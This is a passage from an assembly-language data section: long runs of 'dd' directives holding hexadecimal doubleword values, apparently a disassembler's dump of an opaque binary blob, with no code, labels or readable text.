0DE73728Eh, 9FFC6E77h, 0F0656D1Ch, 3022568Dh, 5D4C7FCh dd 60038F47h, 0BF0E5DCh, 2200EE04h, 34E37C4h, 18C2FD5Eh dd 80A359FEh, 0C0D0C6ECh, 0B6DD0753h, 30A98B51h, 4A88D203h dd 0A1B228C4h, 0C84EBC48h, 84FE908Dh, 0A848A7E3h, 248E6E42h dd 0A648218Ah, 0D9109412h, 89689F0h, 80AA4402h, 89F4E484h dd 44BC08A2h, 22846CA8h, 4E22F873h, 0B1572287h, 0F7115842h dd 85A21E0h, 4490B437h, 48E2F584h, 0BB074266h, 22213024h dd 107212E3h, 1C89B9EFh, 0E544B308h, 0B122841Eh, 330844BFh dd 93B3801h, 0B3D3E35h, 0ED53FD9h, 772132ECh, 0FD09C30Fh dd 0B3E13DC6h, 0B514F006h, 18273800h, 1BCB6CB9h, 96D00BEh dd 5C1E0C65h, 8B09A1EFh, 0A0CE9ED8h, 0D5C3C5A0h, 19C900C6h dd 0DC9031AAh, 8E00D69Ah, 5C8F9D33h, 0F0EE2FDh, 0BD18E3D9h dd 0CF086362h, 7BCBB4C0h, 93AB100h, 269186ADh, 84A2978Fh dd 0BC7003A4h, 2F0B9894h, 5158E0E8h, 58F8B834h, 0A700381Bh dd 0A1EC7409h, 550084AEh, 625C3C50h, 61A0353h, 0EA2599C7h dd 45226001h, 0CE042C05h, 0BB405200h, 8C3ECBF9h, 15E10BB0h dd 2834002Ch, 0A9BE286h, 8FE98D21h, 0A6C8016Ch, 0C9D894C2h dd 9FA4F403h, 7AF76500h, 29AE551Fh, 78BD077Dh, 506B851Eh dd 0E8C87B1Ch, 5A097C60h, 20629CEh, 0EC707367h, 0D8C0B37Dh dd 9DFE8C2Ch, 0E68ADB00h, 0EB8F259Fh, 0F2B8036Ch, 0F6BD77EEh dd 0CBF76BA8h, 213EA0F0h, 27A60087h, 0DFAE50B9h, 0B75800B1h dd 0CB7EAAD6h, 0E40054BAh, 75A49C5Dh, 7D8BACD4h, 493C3E5Bh dd 0A9ABA100h, 2DDEFEF4h, 0AF70BF70h, 73F05C01h, 4F22273Bh dd 3A0F870h, 0F5D8F472h, 0C7D8317Bh, 1F00446Dh, 0B9CD3BB4h dd 7521836h, 0ABE5455Fh, 2BA000ACh, 6F81267h, 16FBA4A3h dd 269CF490h, 963CAF3Eh, 0FC002EFDh, 4F1F481Bh, 141A4885h dd 31603301h, 0E4EFC874h, 0D248C328h, 5E350E18h, 80BF8BF0h dd 4F7FAE90h, 8C25012Bh, 703D14D4h, 26118742h, 23B060E8h dd 4FF6FABh, 0BF7C7AC5h, 0F004819Dh, 0CDD11101h, 0DA8BC510h dd 0C6C74C00h, 0D640A80Bh, 1D58FC90h, 41884292h, 6CE8F502h dd 137C4C2h, 0EA856D07h, 0EFF520A1h, 3B9CF4B0h, 5380024Ah dd 0A7C454A9h, 25054DDFh, 74A83741h, 35D0B8C7h, 5821964h dd 5A2BD30Bh, 71F4C0CAh, 59073D01h, 0A824FF9Ch, 9B6E63D1h dd 0F1C2020h, 0D90A2FACh, 9509AFCCh, 20343D24h, 13965801h dd 0C00B252h, 0FD25086Ch, 6F10C83Bh, 0D0CC500Bh, 1DD7010Eh dd 57CB1156h, 8681E3ABh, 145CF267h, 80BCBFBCh, 0AB71778h dd 241AEB1Eh, 2820E674h, 13ABECB0h, 0C16DF8FCh, 3DE37CBCh dd 0BBEB0474h, 80A9AA9Bh, 0B20C8648h, 4D114BA3h, 0CD5DD51Fh dd 24791C40h, 24D1A86Ch, 0EE8CB73h, 3060BA21h, 0CFF0A7DFh dd 5D6A30Eh, 69C100DAh, 7B25A150h, 9BDEAAEh, 0FD10466Fh dd 229A2423h, 1B202EE0h, 39CED02h, 0F958DA52h, 0E393009Ch dd 17445CD6h, 5115700h, 0F40207A4h, 7EBB3915h, 1458EC80h dd 40A73326h, 2800494Fh, 1020DAC2h, 9DF91FB5h, 0B7B1C32Dh dd 8DD97EECh, 2440EE74h, 340095A3h, 3693A6B8h, 98A4BAh dd 964BED39h, 9A48EE3Ah, 833E4Ch, 0BCB8B9D0h, 0E2BEBA8Ch dd 0B6EE8Eh, 0A9A0E6A6h, 9FE5DBADh, 56E3EF01h, 1B858CD8h dd 324D1F2h, 911C8A87h, 6030D9F1h, 0DB007042h, 0AE27F5A9h dd 61A7C5h, 0A6CC9731h, 83EEBED2h, 0B09A2209h, 0C08C00CBh dd 0FD398Fh, 0D94EB41h, 2CE235ADh, 51016800h, 9A107F3Ah dd 0DA0700DEh, 0C7386A0Fh, 8103D2A2h, 9791D68Ah, 0C4B600E0h dd 0A34DB2B8h, 6E1CE934h, 0D107489Fh, 0E530D4BDh, 0ED36056h dd 0EADBA36Ch, 63AD4C80h, 5E009EF0h, 88BE52C9h, 5B93E97h dd 0C4A6E77Fh, 295800ADh, 1691DC80h, 0E8883Ah, 5465C72Eh dd 6B9FB8h, 0F5B92C8Eh, 4788045Eh, 0A1CFBE00h, 0F98DC748h dd 983E60D1h, 7DE2299Eh, 20B6B100h, 930A4341h, 40809D5Ch dd 237C5D8Bh, 848E4Ch, 81608C2Dh, 5FF334h, 63F03182h, 18B63586h dd 43ED0F0h, 6D61244h, 0E660CBEh, 7501C1C0h, 0A7F7AE53h dd 0D840559Bh, 966122CDh, 0EA6B8048h, 9162F274h, 49EF1902h dd 60F33C9Ch, 16D196E2h, 43848995h, 0A0DD4670h, 11287FBBh dd 0E380FB53h, 9090D84Ch, 1DEF5200h, 17C161BBh, 0F26F00ECh dd 0D22798EDh, 780ECB25h, 0B4A60420h, 75F402ECh, 60A81921h dd 0E6E15754h, 0C64000E4h, 91709D97h, 0DB00FA15h, 1449F37Dh dd 18919B9h, 3B7BF088h, 0E4E59AADh, 7F131B4Ah, 100F0DDEh dd 520C8028h, 0F31E09h, 194C7CFCh, 0F13AC229h, 5F0036E0h dd 213176F7h, 0F2C146C0h, 0CFBF00DBh, 8B861A02h, 0C21D33C5h dd 9C004C2Ah, 7FFA6C10h, 0F8CD09FFh, 2201E676h, 0CCAD49ECh dd 8B26FB12h, 5916D465h, 0B5416845h, 0B4436180h, 42AB28D5h dd 8509C008h, 0D79BD0E8h, 810F8F7Ch, 602EA1DDh, 8822A6E1h dd 0E0992EE4h, 21A300FBh, 3427B348h, 0E8342EE5h, 258C00B0h dd 3BDE612Bh, 0C01514h, 0C46A993Eh, 981D5585h, 30A300D4h dd 0EBEC1884h, 0ACF8734Eh, 1AE50600h, 70DEE66Ah, 3C9D3A48h dd 1D78EB00h, 5109BD85h, 0B576BB00h, 0F221E0FFh, 2CF8F8B6h dd 2CCB79Ah, 0E312628h, 54CFC440h, 9597EB03h, 0F0AF4C53h dd 7498B538h, 28E006Ch, 0AEF4A406h, 0A00E250Eh, 6E0C8BC7h dd 0B4F68044h, 0FACE0FDCh, 8E5E00F4h, 5D813358h, 0A2F6070Ch dd 0EF5C3892h, 0DEAF801Ch, 985A526Ch, 65A30B81h, 0B4D8E4F1h dd 98134Ch, 0A603160Bh, 1081415h, 73B3CA9h, 603839AAh dd 0FE033DC7h, 2C292A40h, 2E2FA05Ch, 2728005Eh, 0DE107616h dd 56046B1Dh, 54725F0Fh, 8B759880h, 209E38h, 0BA39A8B4h dd 5300A69Bh, 42C9B9D6h, 9A076FDCh, 1AF9004Ch, 12DA67BDh dd 22036AEBh, 9FA5D20Dh, 0CD51A8BBh, 0AA0E008Fh, 0C33FD9FFh dd 981635F6h, 30C8119Ch, 16D4FE7Ch, 7165890h, 236AEA10h dd 59D05269h, 68004E1Fh, 913DDBE1h, 2AB466h, 0A810E35Fh dd 22771D17h, 0EC5E5C00h, 25346228h, 767A62C4h, 0F4C049E3h dd 60FD4346h, 48034734h, 1483A850h, 8CB8C5BDh, 6FEF6000h dd 51ED699Dh, 0E2589F76h, 614C25DDh, 9805348h, 42D12B11h dd 0D500CA67h, 0FBFC6948h, 1F06D4Ch, 0C1724FFFh, 0CCB0613Dh dd 0A17BEF41h, 6C94347Bh, 0D079880h, 788EA247h, 0C4764CE4h dd 0B3C5C03h, 14D8A7C3h, 0CE00B7D8h, 99D285F9h, 0ED98F31h dd 40D4C05Ch, 0F02280BEh, 0F76BD6A1h, 21079E18h, 608410h dd 5F0BCD18h, 3256DC1Ah, 0DF276200h, 9A2638C3h, 37B20111h dd 0EECA791Fh, 0FEAD45Ch, 0CE025300h, 25F4812Ah, 0FD600098h dd 0DD19D529h, 0B500EF1Ah, 0ABFBE324h, 0A0025E4Ch, 137AA4h dd 0FCB825B3h dd 4497D89h, 57186700h, 0DD4ED5D3h, 0E884504Fh, 0D2931F55h dd 0D79D4E8Eh, 0E89144C4h, 0E8475AF8h, 6881132Fh, 6EF0FF19h dd 98F1001Fh, 80E91776h, 0E2020E7Fh, 0ACC29346h, 6C78E0EBh dd 961C3F3Dh, 0BFD313Dh, 0E3DA3E06h, 0F4BE6CA0h, 0F8EE75F0h dd 2F676C13h, 3F6B2800h, 3E8DF34Fh, 7FB3ACD8h, 84A08119h dd 384E87E0h, 7C9918C2h, 5BCB0A48h, 62D900E0h, 0B2A56A80h dd 9D80E360h, 5E30926Fh, 80204BF3h, 70E254E1h, 6F002248h dd 356288EEh, 2DF1F6ACh, 0A468860Ah, 2C0B5B91h, 0A06397BEh dd 0B03E95C0h, 8B5AE7h, 2E8148B8h, 0EF7D8E86h, 48A19F2Dh dd 5AE120D0h, 0D4B400D7h, 5CA5E4B4h, 0D918C701h, 43BA19E3h dd 0FE35C5C4h, 2BFF0A6Ah, 439491C0h, 28007A9Ch, 4809673Eh dd 596591Fh, 81959DACh, 0D7A890FDh, 7600B407h, 0A56478C4h dd 5CD2E0ACh, 9602541Fh, 2D41B626h, 9ABFB460h, 0A8117001h dd 1BDBAFC6h, 0E08C420h, 99A1EC06h, 0DC3F40C0h, 0E516123Bh dd 441603AEh, 40E7F11Ch, 723FED0h, 69935CE6h, 218FD2E8h dd 8AC1C860h, 6D99DE00h, 5EF2228Ch, 0B45A14ABh, 44029028h dd 1F3BB1D0h, 72E98480h, 290365B0h, 587CEA3h, 0F012DBCFh dd 117517h, 2F5D1EDFh, 84F102Dh, 0D3E04000h, 0D43D5829h dd 22530032h, 2B2CC8B1h, 7E019879h, 0BC0E6617h, 12C06706h dd 137C58h, 0CA50733Bh, 2CDC176Fh, 5BCE2500h, 9326492h dd 728D02FCh, 0C658EB63h, 1A00EC5Eh, 3084040Ch, 92E7075Eh dd 44FEB62Eh, 28ECA005h, 6F4FB400h, 7AD67886h, 4B7A2Fh dd 19A383BAh, 0EA29F874h, 75006B5Fh, 20E04EFh, 0F4BCEE80h dd 0E5713DB7h, 753FBB00h, 3C6D09CEh, 0DB745500h, 9F10DD7Ah dd 625A0090h, 0E8C05839h, 48909CEBh, 57E15E00h, 5C8973D5h dd 0F56425F0h, 3E9A8C00h, 8200B4FDh, 0AC0D3725h, 0A357C7h dd 922D9CEAh, 8C2695C3h, 0A8A9E806h, 0FA28D6E4h, 4A989Ah dd 0E9D8A14Bh, 8CC4B95Eh, 0A8DEB001h, 0A3E192A2h, 0D72460h dd 0D89B5B90h, 0A613D2B8h, 51EEDF00h, 78C54884h, 5E2F01D7h dd 39B20FCEh, 782D46h, 11AF1F61h, 0BD0D7Ah, 0CC58B923h dd 21A8C7ABh, 7C5D8E00h, 9CE24732h, 0C6512CBAh, 2E803C20h dd 15521129h, 0FD5C7999h, 0E7770068h, 10BAC14h, 8B0E007Bh dd 0CE5B1C44h, 1878FF42h, 39920500h, 7E83BF2Fh, 1553042Bh dd 805BD64Ch, 226044CAh, 37AAFE00h, 0A75F3504h, 91F0001Ah dd 6F5E2A63h, 200C3FFh, 0D9D48855h, 0EE16B070h, 879B0EB2h dd 1C80A482h, 8367D340h, 0E1B56F00h, 0FFACBB3h, 414C0AACh dd 84D1FEh, 3B3AD53Fh, 0E02D21E5h, 0E7FC00E9h, 1E157AAh dd 40C916BDh, 424BCA0Bh, 48C0D7A3h, 9E004FE8h, 0A160FC74h dd 1F41E540h, 3BEF6C96h, 0A22C7900h, 8FF5349Eh, 44A6F700h dd 9C3CFD69h, 31E30EEFh, 5727856Dh, 119392C4h, 77E5E4C0h dd 81A3FA2Dh, 0D13E5634h, 144D2ECh, 9254CDBCh, 0F67AFA6Ch dd 99D0F8A0h, 8FF4AA2Eh, 7891C613h, 0F46F3C00h, 1858E69h dd 672D8617h, 387AC0B1h, 0B9340034h, 9112BA3h, 0B440036h dd 6F2FFD51h, 68F4F608h, 0F2193200h, 0E8590493h, 6E3E0052h dd 0E2D95303h, 0FF00F6D5h, 0DA7ECA24h, 79EC05h, 7C935752h dd 0B215B337h, 0E64EC507h, 23203541h, 53194E8h, 783B382Dh dd 6DCBC04Ah, 6B1D9E05h, 18C0B237h, 48310A0h, 0A20203BAh dd 931BA829h, 5CB27480h, 5039D20Eh, 0EDCC6073h, 6A90A6h dd 263071C2h, 288B4BFDh, 0D6A4C000h, 94EA9836h, 8E1D097Bh dd 51F2C4h, 4E5F43DEh, 960C988Bh, 0C102A9Fh, 0A4528C00h dd 238A4A25h, 3DFA1483h, 0EB00F803h, 0BB7CF877h, 9516D753h dd 0BA0392F4h, 0E73013AFh, 0EDC25EA1h, 0E64C002Eh, 0EC0A7958h dd 613C990Fh, 0D16222A9h, 7700D64Ah, 20D6EF90h, 0EAEBE304h dd 2EE5050Eh, 0E92BA1DFh, 6820B6E1h, 3E83028Ch, 0B06058A8h dd 70639849h, 0E31CD897h, 551303C2h, 1BC0E4h, 0F5BF957h dd 8CE4F86Bh, 77DE7000h, 9C58511Fh, 0A4220FE1h, 81602F2Ah dd 15E7F5DBh, 0CBE181F9h, 143CA230h, 1E172220h, 0A6561825h dd 0FDDB0BFBh, 19230000h, 0B30045E4h, 185AD78Ch, 2D703C62h dd 94003F42h, 0F81074B6h, 508B0503h, 9B45F1F9h, 8A6A8D7h dd 41FB1364h, 0B2882028h, 3500B8FAh, 541CD27Bh, 120732h dd 0A13CAF2Eh, 5E50415Fh, 630028E4h, 0DA33F762h, 0B977A6Bh dd 15F09A21h, 2104000h, 0B0053F5h, 85600A3Fh, 0A09FFBB1h dd 14CD98Eh, 8B350750h, 31376C7Eh, 20DC87Bh, 88C5D300h dd 0A94DF93Eh, 66B20358h, 0CE469A15h, 0D88025A8h, 0F0AD2C00h dd 0E7C5BCA7h, 9E401C1h, 51A2F98Dh, 7DECF0C7h, 0EB212914h dd 0D94F0080h, 44CE1FBDh, 33DC0045h, 1EC784Ah, 3E006BEEh dd 0B7266CB8h, 741A492Dh, 0A8B8ACh, 9A20D130h, 0A2229372h dd 1B19A401h, 23F15FF9h, 6C4C802Ah, 495B7BFBh, 0B04B5CC3h dd 64E7EFEh, 4F61FD78h, 3D3C097Fh, 7301FC07h, 7554E1C6h dd 7420E7F8h, 0D4B62Ch, 0CCA5C92Dh, 0EF0B48D9h, 418CBA1h dd 0B890C3ADh, 3BAD319Ah, 7482A532h, 0C1784CF5h, 0CC488460h dd 0E6829D1Ch, 0EA0D8780h, 181CBD40h, 8E653225h, 0DF00F7F2h dd 9E798062h, 1C6641D6h, 47B38ABBh, 8EF4B686h, 4798F0F2h dd 1BE4F101h, 3E48DC99h, 8001543Ch, 0D3A6EA1Ah, 0C89181D8h dd 0AC569155h, 0B0A2B320h, 0BCC600C8h, 4CB85C5Eh, 18C08B1Bh dd 0AA30A3B3h, 0E8F101CDh, 0E6A6210Ch, 31E2E5ABh, 98A8402Eh dd 0B302D622h, 0A51F78F7h, 0F1766034h, 931C00C6h, 99CF35B9h dd 0A700CE4Fh, 5FBAEA8Fh, 0B29ABF2Ch, 0D380020h, 0C5B47BD6h dd 2500B72Eh, 0FB5FC29Bh, 76A7D09h, 2752DC3Dh, 0F1A380B6h dd 9C521EE1h, 20840170h, 0CF6EE68Ah, 7CE9AF0h, 51EDB18Dh dd 0C6B38076h, 4CF068C7h, 0C0A9DA25h, 0A2B924B8h, 766CEA74h dd 269601F8h, 829CABF4h, 0F0618811h, 0C8509Ah, 0F23AA77Eh dd 0F6D1B406h, 6445D700h, 16375C25h, 73890052h, 7AEC47C1h dd 0F7F0AAEDh, 0A6923E0Ch, 123F18Eh, 0B60802A4h, 286780D1h dd 32910AFCh, 5F00C895h, 0EEA2D2B3h, 0D8E0558Bh, 0E4C99DC0h dd 6112752Ch, 3EDD48A5h, 24406E63h, 1BAA0716h, 37B901E1h dd 0B5648E19h, 0DC007A3Bh, 545206FDh, 719A015Fh, 33A40479h dd 0DB62C439h, 0AE16E48h, 9890D1E9h, 6CFBCA00h, 0CB9B92F1h dd 0E4000981h, 588BAC9Ah, 5C8FB628h, 3A993Fh, 724FE203h dd 98A6B4FDh, 8B98A9h, 0DF702D35h, 1D385436h, 0DC63BC00h dd 0D396C8FBh, 516B0179h, 34DD7AD5h, 2D7CCD55h, 24E32C50h dd 0B480B302h, 909940E5h, 1DA7C3Fh, 0D584865Eh, 2C888D91h dd 0E43A02DCh, 4252EBD7h, 0C34CC04Ah, 0E5AD3E43h, 166D7C01h dd 8362501Dh, 4AD60621h, 2C01A11Ah, 1BC14085h, 0E086C7B0h dd 0CD5C844Bh, 3191B930h, 4B9869DFh, 6F800F2h, 66CD3D8Dh dd 75041C00h, 10BD29FDh, 20A864FCh, 6CCFC51h, 0E0B3386Ch dd 80173C60h, 0A5E6C200h, 34F64A18h, 0DF51F901h, 898E92CAh dd 0E5392981h, 8095EAD8h, 0C24EFE78h, 1DFCADh, 0F7664CE3h dd 198DF1F6h, 48018773h, 1A8C21A1h, 8289CB4h, 0B02928h dd 0EBA6057Dh, 9FC3E95Eh, 40C95101h, 6BE4938Dh, 95D9E840h dd 8EA100D1h, 0E870FEE2h, 0F1B8BE6Eh, 525E5D00h, 0ECCBA005h dd 67383DCEh, 0BB1CDE80h, 355AD651h, 9412871Ch, 0C0A48A5Fh dd 0BCF54900h, 377198h dd 6ED377DCh, 28B522E9h, 0AC5B6F2Ch, 0B32AA901h, 0C024033Bh dd 14209FC3h, 0C459C1B7h, 603DA701h, 7DB62247h, 1DF3AE0h dd 34D1145h, 6C662AE4h, 0E0260040h, 0B50DEE6Eh, 13160010h dd 0F4A27994h, 0FD031F7Bh, 964D75B1h, 0FC65A803h, 908F001Bh dd 0DB27EE94h, 207F4B5Ch, 62AD0C0Fh, 0F8EA4032h, 1DB4A9CAh dd 0C065F2D3h, 0EBA4D13Ch, 0BF16EFA1h, 80001C93h, 0B00566D5h dd 580DE8D3h, 0DC00743Ah, 238D6C9Bh, 0B10058F1h, 509656D0h dd 40893Bh, 0A94EC8B9h, 6FC71BCFh, 85FE7B90h, 7FEA2400h dd 0BBEB65A4h, 31990737h, 0C15DA1B5h, 30649A6Ah, 2000F95Eh dd 2D286943h, 48573A50h, 252CFC58h, 0C3C61EDCh, 2FC86061h dd 2EC7529Fh, 7109088Ch, 0A86C9428h, 4D00D47Ch, 0B11ADE28h dd 0BFEB22Dh, 0BCB530B4h, 21DF68C1h, 73F73040h, 99B65F17h dd 9A4CC800h, 7431985Ah, 0C8B016EAh, 4A540183h, 0DC6D7DE9h dd 0BD3C2175h, 628A804Eh, 0EECFDA9Dh, 46980751h, 0CF381450h dd 58A19F09h, 0F0165E13h, 260E0BFDh, 419D25B4h, 11ABDA52h dd 0E31C253Fh, 24C04A48h, 0EEA152C9h, 91BE00F4h, 0F75B9730h dd 17077C0Ch, 0CC85884Dh, 0CF914A67h, 5EC8416Ch, 1713F419h dd 117E4Bh, 5FBB7124h, 0D10214EFh, 65DC0884h, 6404414Dh dd 1E0D130h, 0FD4E8ECEh, 0C8B08CC8h, 0B82CC45Dh, 0DE82048Ah dd 20F9996Eh, 96338C07h, 21428730h, 24ABEDh, 0F3A50CF2h dd 831F9751h, 4CC19207h, 402F561Ch, 0CB1AE975h, 0D26E098Eh dd 7C00C7CDh, 216A9AF8h, 6B5A3Dh, 0E1163829h, 29C5E2Fh dd 48E9C754h, 0F47C4515h, 42EEB9Eh, 7E19FE62h, 960100ECh dd 2F9EDF5Ch, 0C2C59000h, 7AF14591h, 7480581Eh, 5E0C804Ah dd 6AE274F2h, 5400A0B2h, 8B64A03Eh, 0EA30B6h, 3F0529A4h dd 0B537155Bh, 14A2EE0Fh, 7E9620B8h, 0B7E0C130h, 8809012h dd 208041F8h, 0C878AB58h, 46C1827Eh, 9C80D83Fh, 3BAD28E7h dd 6D213200h, 2E599602h, 0D9ED1ABCh, 987C51F1h, 653AF38Fh dd 94989B5Eh, 7BEA00EBh, 7DA2A036h, 0F01F23E8h, 4A4086F4h dd 11394DE2h, 34CB80Eh, 0C45EE95Fh, 7B812251h, 2119814Fh dd 44C282A5h, 5675E4h, 0DCFD5A86h, 8CB96B8h, 4D3DE1ECh dd 0AD0D85CCh, 8B974F0h, 0B7076300h, 67646B92h, 0C838BD01h dd 9657FFF7h, 97452A60h, 3085C407h, 1051DF91h, 0EA00C5FCh dd 0D9386A49h, 4B3225Fh, 75393A2Dh, 0F4B8FAh, 90E4778h dd 9658538h, 0ABD04BF4h, 0D92B94A5h, 4902A54h, 2B15CF3h dd 0AE60F557h, 0D4C9C573h, 0E0C43433h, 5548A49h, 822A970Eh dd 0E108CDCh, 9936B21Fh, 84163381h, 0D337200Dh, 80B5673Eh dd 42B86DF6h, 11CD7Eh, 144373A7h, 85699F3Ch, 3883512Ch dd 0B0204A97h, 323AAC77h, 0E3A88112h, 9DCDD6C0h, 4B5CC0Fh dd 104DA07Ah, 16E229Ah, 0C6F945F0h, 80D939CDh, 13AC2719h dd 35495h, 650D7826h, 537FADB0h, 15DCE950h, 0CCD0A74Fh dd 0B83FF36Eh, 12749C58h, 0A26000DEh, 0BCC1A5B1h, 5AF881BFh dd 845083EBh, 5DB85975h, 0C70E8835h, 8CC09908h, 0CD88195Ch dd 0F185D1DDh, 1C2059C6h, 9494369Eh, 2AE950A8h, 80715B39h dd 0DA986691h, 18D7F6D0h, 59246742h, 1E8154C3h, 2EA8882Ah dd 77FC2F40h, 0EA7A4Ch, 0EB89C05Dh, 0CFFB8020h, 0A1063CBAh dd 0B59F8E2Bh, 6DEE0511h, 0E0B0E309h, 93448F24h, 7432002Ch dd 38A20FEAh, 7BF2F34h, 0F730A314h, 92D6E139h, 8EF5C10h dd 0FD46C2Eh, 730348A9h, 0D904686Dh, 7887385Ah, 80E20B83h dd 922B41F9h, 0B7DB0044h, 186A7697h, 0E090427h, 2D2555Ah dd 0C12D7578h, 0EC38D196h, 639A0F77h, 0FF05B635h, 8C9C2043h dd 0F8248816h, 0A700CC22h, 49823260h, 30C658C7h, 61FECF07h dd 0F8342084h, 284C446Ch, 1C8605D0h, 0E8C0AFE0h, 0ED4A0Bh dd 0E7133C70h, 105E02A8h, 1893Ah, 0F906A7F6h, 0AA8C18h dd 57931CFDh, 0A5F1769Ch, 5BA0E000h, 0BE1E8E9Fh, 128BC98h dd 869AF3B7h, 0F7D6E8ECh, 744A7A00h, 3AA961FDh, 0F6C0B0BCh dd 173410B5h, 0A3E50254h, 74ED8622h, 0F0EAA52Ch, 3109080Ch dd 48AC542Fh, 48690DA4h, 6D00181Eh, 70743EF2h, 85BDFCF5h dd 0C081D304h, 40CEC813h, 92B65CA0h, 4889B540h, 0BD2ED880h dd 1E01E668h, 263A6AA8h, 0C0404D21h, 8871A1h, 0CA0F437h dd 557C4E66h, 985C107h, 0EF0DF80h, 0BFEC063h, 0AB726DAh dd 12022CF8h, 9014448Fh, 0BCDCA084h, 770EFF3h, 3EB1E0BFh dd 0D893D09Fh, 2879C3F8h, 1DE66009h, 0C23C20B7h, 48EFDBE3h dd 8109D0E8h, 0CCD0CB7Dh, 975A2512h, 319FD002h, 0E280E09Bh dd 96912DEh, 0F7F800DFh, 0D177C31Ch, 0E40431Eh, 8AA584B9h dd 30B074A4h, 0D70CF54Dh, 0A59FC41Ch, 4863681h, 5FC7787h dd 0CED0E1Ch, 0FBA075B2h, 0FD707D8Ah, 3C245038h, 0E2CCAAh dd 7A1EBAD8h, 6653CCh, 72A52B75h, 0FAABB1A1h, 87E54B05h dd 0C07937h, 1987B84h, 0AD51F2BFh, 0D029F8E9h, 2F331430h dd 76E80Dh, 11541370h, 1D1CC845h, 0A7C33B07h, 0B75071EBh dd 35B619h, 0FF70F167h, 0C4E315A8h, 0BFD97900h, 0AF8BC193h dd 0F6630BBBh, 0CD0DE7Bh, 0EF0AC604h, 20807644h, 48202A72h dd 5039FC2Fh, 5CCEBD80h, 0F7F9AB17h, 0B69EBE09h, 3D47405h dd 22CA413h, 0C4ECE9BCh, 5CCA2780h, 27F48C2Ch, 0E90F3068h dd 914C6F16h, 90A2C402h, 3C207166h, 0C2A4B002h, 90C86361h dd 33787A1Dh, 974C0204h, 4080D493h, 7863E037h, 20AE584Dh dd 5F8F8813h, 0D80AE7A8h, 0C56E0BB8h, 85D04000h, 0DE4C9C1Ah dd 8A1E7718h, 79010E97h, 17E851B4h, 3C345130h, 606F2630h dd 648546CFh, 8626C06Ah, 0A9009182h, 78F79F9Bh, 905EBAh dd 697311BCh, 1AB521F9h, 10B3CA4Ah, 0A6F4B901h, 314DEFDEh dd 1E8810A0h, 0A9120DC5h, 28A87651h, 7112E2E2h, 1E14233Ch dd 0E3FF40F0h, 0F27C9D14h, 36032BF4h, 73DF797Dh, 0AE98BF3h dd 3FBFDB71h, 687A25C0h, 0FF74A3F2h, 0CB4821C1h, 8474408Ah dd 4BF830h, 0E6367D34h, 9B419E7Fh, 0D8C02CB0h, 0BE2E8BEFh dd 22B8BAF6h, 184F9CB9h, 41903022h, 0BA114300h, 0ECF8C5BBh dd 0D4189615h, 0CDC92FC8h, 2C887694h, 40A451E2h, 8F2B59D2h dd 8C0B454Ah, 3A1CA3EBh, 5063A1CBh, 26B1C8D4h, 9208AB9Dh dd 0A710801Ch, 0CF44E0ACh, 0A0930153h, 0DF65E394h, 1743C4F1h dd 4EEB6A00h, 83C95D1h, 0B213034Ah, 646E9F33h, 39B48094h dd 0E5247253h, 2000AE78h, 0DF0AB415h, 5E133B7Eh, 98075182h dd 346B5D1Bh, 0AE7981D8h, 14874800h, 0E4B35FFEh, 0E1AB0031h dd 1B27CAA9h, 0ECE9F660h, 0BB163F70h, 0D448861Eh, 0BB3C569Ah dd 5FF3875Eh, 0C321B7A7h, 0FBF888C6h, 92B37A0h, 81EDD5E8h dd 2CA6D3E8h, 491292ECh, 743F20B0h, 0DFCC30B0h, 7BEE9411h dd 0F9567001h, 0BE0DA49Ah, 0A3D5B864h, 0D96915C4h, 9B00D4DFh dd 691722A6h, 3C07F36Bh, 0CEC1890Ch, 0DA07D630h, 0E2B0001Ah dd 90A02998h, 60925078h, 616C0955h, 0A4D8A415h, 2CA52100h dd 98B40A0h, 94DF5C3Dh, 3BAFD020h, 0B51681CFh, 0B4F0B393h dd 0F05009Eh, 9D599549h, 230571DAh, 0CA3F5B87h, 989D480h dd 0C8B202DBh, 0CBBA5FF9h, 0A8DDF840h, 0E497A70Fh, 0AB51E07Ch dd 7861ACEh, 9914966Fh, 7D71083h, 0F6006AA3h, 0EBAD38BCh dd 0EC89F1BFh, 0D3D916B1h, 39C40381h, 57BA06ECh, 0EEDFA100h dd 0DDA83E42h, 0DCAA4401h dd 46A943EDh, 10FC0908h, 601F849Eh, 5AA5C900h, 2A9CDE6h dd 0AC309A5Eh, 18C03931h, 0C4B0D7FBh, 0CE8FCF38h, 8ED48403h dd 0E881E89Ah, 0B9213A13h, 0FCB7A900h, 982FC6B3h, 0A02548h dd 0FA62FE5Eh, 58B845h, 713BABDEh, 54492F7Bh, 8B5FB51Dh dd 470DC4C0h, 85519Fh, 7C65D421h, 1FA1F7D1h, 3B8B1402h dd 48962B8Ah, 1D4C8A8h, 6001A92Eh, 30BA2648h, 5817C7A8h dd 104482E8h, 20BA5576h, 0A15EFF74h, 0B07CBC2Eh, 7B950E00h dd 3721C25h, 42E3B344h, 8088498Dh, 0A3003B8Ah, 109BCE70h dd 1297C077h, 43CD6DA4h, 0DABFD340h, 74E0B29Ah, 0F8006AD1h dd 0E77F9173h, 268E2E9Fh, 822C6D72h, 874C055Dh, 0BC94DBh dd 20886BEBh, 31A9B5F6h, 3D985593h, 2EE6FDDAh, 993E2420h dd 0B8C9076Dh, 0D0593C52h, 9DBC2FA6h, 9B117D60h, 4D393C8h dd 3791709Eh, 6BE8A1F5h, 0D2882C09h, 316071A0h, 0F61932B9h dd 8148290Bh, 0C36D4CFAh, 738034h, 0FF98341Fh, 7C9EA25Fh dd 0F72CD0C0h, 0C0A5AAB6h, 71F22511h, 0B90035A3h, 0FC9BE3ACh dd 9836BAh, 8AE44930h, 4C932BE5h, 904DC27Ch, 68E0007Ch dd 1674F02Ch, 44F8C05Ch, 25E9D19Ah, 871F8CE2h, 20C0D551h dd 736FCA78h, 80C63C5Bh, 0A495A4h, 3261D47h, 0C1006BEDh dd 2FAAC5A9h, 9981B2h, 0B1480C04h, 55E2014Eh, 0E9AF1200h dd 0A262F275h, 69F5005Ch, 0DBC52E81h, 0BE130BE8h, 0DCACB7D8h dd 83030500h, 81010D66h, 6A0F682Dh, 9080C30h, 0CB42751h dd 6D0F6452h, 603AFE09h, 541ED20Dh, 0DCD53810h, 0D4DFE409h dd 0EBF39C01h, 0B8D70153h, 125A4D4h, 0ACAF57BBh, 0D898CF90h dd 0A9011687h, 42B1FF11h, 0EC6C8210h, 2E5D3800h, 0CC71A6Bh dd 0AAACE700h, 0E470B40Dh, 94970005h, 0D1613FA9h, 394A9A0Eh dd 3E854F0h, 0E759A4C8h, 0E1D0A2C6h, 5800A7CBh, 33AACEE4h dd 5AE327Eh, 2A87B037h, 2FD1D5Ch, 2CC56362h, 73802C56h dd 7F5AF612h, 4A079D6h, 0C8409C5Dh, 882CEC37h, 9DF6801Eh 